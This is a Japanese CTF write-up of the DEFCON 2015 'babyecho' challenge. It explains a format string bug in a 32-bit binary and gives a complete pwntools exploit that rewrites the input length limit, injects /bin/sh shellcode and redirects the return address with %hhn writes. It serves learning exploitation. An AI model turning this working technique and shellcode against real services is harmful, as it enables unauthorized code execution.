DEFCON Qualifier 2015: babyecho
はじめに
2日かかったけど解けたので復習。最近はstrippedなバイナリ見てもとりあえず動かしてgdbでアタッチすればいいや〜ってなってきたし、radare2に食わせればちゃんと読める形にしてくれるので本当に感謝しかない。
ペースが保てていないが頑張る。
目次
$ file
babyecho: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=c9a66685159ad72bd157b521f05a85e2e427f5ee, stripped
$ checksec
[*] ‘/home/ubuntu/writeup/bata/baby/babyecho/babyecho’ Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE
メモ
- 入力処理にFSBがある
- 入力できる長さはたったの13バイト
- それ以上は13バイトごとで区切られて区切られた各終端の文字は'0x0a'で置き換えらえる
- ‘AAAABBBBCCCCDDDD\n'を入力すると'AAAABBBBCCCC\n’ + ‘DDD\n'が得られた
exploit
まず、スタックの中身を確認してみた。後ろにあるのは後でスタックのindexを割り振ったメモ
$ python -c "print ''.join(['AAAA%' + str(i) + '\$p\n' for i in range(0,8)]) " | ./babyecho Reading 13 bytes AAAA0xd --> 1 Reading 13 bytes AAAA0xa --> 2 Reading 13 bytes AAAA(nil) --> 3 Reading 13 bytes AAAA0xd --> 4(バッファの長さ) Reading 13 bytes AAAA0xffffcd3c --> 5(入力バッファのアドレス) Reading 13 bytes AAAA(nil) --> 6(サブルーチンのフラグ) Reading 13 bytes AAAA0x41414141 --> 7(入力バッファの中身)
入力長が13バイト(0x0d)であったので、0x0dが格納されたバッファを探すと2つある。radare2で0x8048fb6
を見てみると、'Reading %d bytes\n'の数値に対応してるのが[esp + 0x04]=[esp + 0x10]
であることがわかり、確かに0x0dがmainの最初で代入されていることがわかる。
また、0x804902c
を見てみると、[esp + 0x18]
の値を0と比較してループを回しているのがわかる。
さて、攻撃
こんな感じ 1. バッファのアドレスを取得 2. 入力の最大長の値を上書き 3. リターンアドレスをシェルコードを入力したアドレスに移す&サブルーチンのフラグを書き換える 4. リターンアドレスはスタックの267番目
ここでバッファの最大長の値を書き換えるときに、入力が13バイトまで、というのをすっかり忘れていた。 数時間悩んだ末、writeupを読んで気づいた(バカ)
最終的にこうなった
from pwn import * import sys import time def bp(): raw_iput("Break point: ") LOCAL = True if len(sys.argv) > 1 and sys.argv[1] == "r": LOCAL = False BIN = './babyecho' e = ELF(BIN) r = None if LOCAL: r = remote('127.0.0.1', 40000) def get_stack_addr(x, addr): return addr - 4*(7 - x) # first, you should get stack addr r.recvline() r.sendline('%5$x') input_buf = int(r.recvuntil('\n'), 16) # calculate addr max_len_buf = get_stack_addr(4, input_buf) ret = get_stack_addr(267, input_buf) flag = get_stack_addr(6, input_buf) # 1st payload r.recvline() payload = "{addr}%{length}c%7$n".format(addr=p32(max_len_buf), length=99) r.sendline(payload) r.recv() # 2nd payload payload = "{addr}%{length}c%7$n".format(addr=p32(max_len_buf), length=9999) r.sendline(payload) shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" buf = '' buf += p32(flag) buf += p32(ret) buf += p32(ret+1) buf += p32(ret+2) buf += p32(ret+3) ptr = input_buf + len(buf) buf += shellcode rtn = map(ord, p32(ptr)) # over write addr rtn[3] = ((rtn[3] - rtn[2]) % 0x100) + 0x100 rtn[2] = ((rtn[2] - rtn[1]) % 0x100) + 0x100 rtn[1] = ((rtn[1] - rtn[0]) % 0x100) + 0x100 rtn[0] = ((rtn[0] - len(buf)) % 0x100) + 0x100 # print len(buf) buf += '%7$hhn' buf += '%%%dd%%8$hhn' % rtn[0] buf += '%%%dd%%9$hhn' % rtn[1] buf += '%%%dd%%10$hhn' % rtn[2] buf += '%%%dd%%11$hhn' % rtn[3] r.sendline (buf) r.interactive()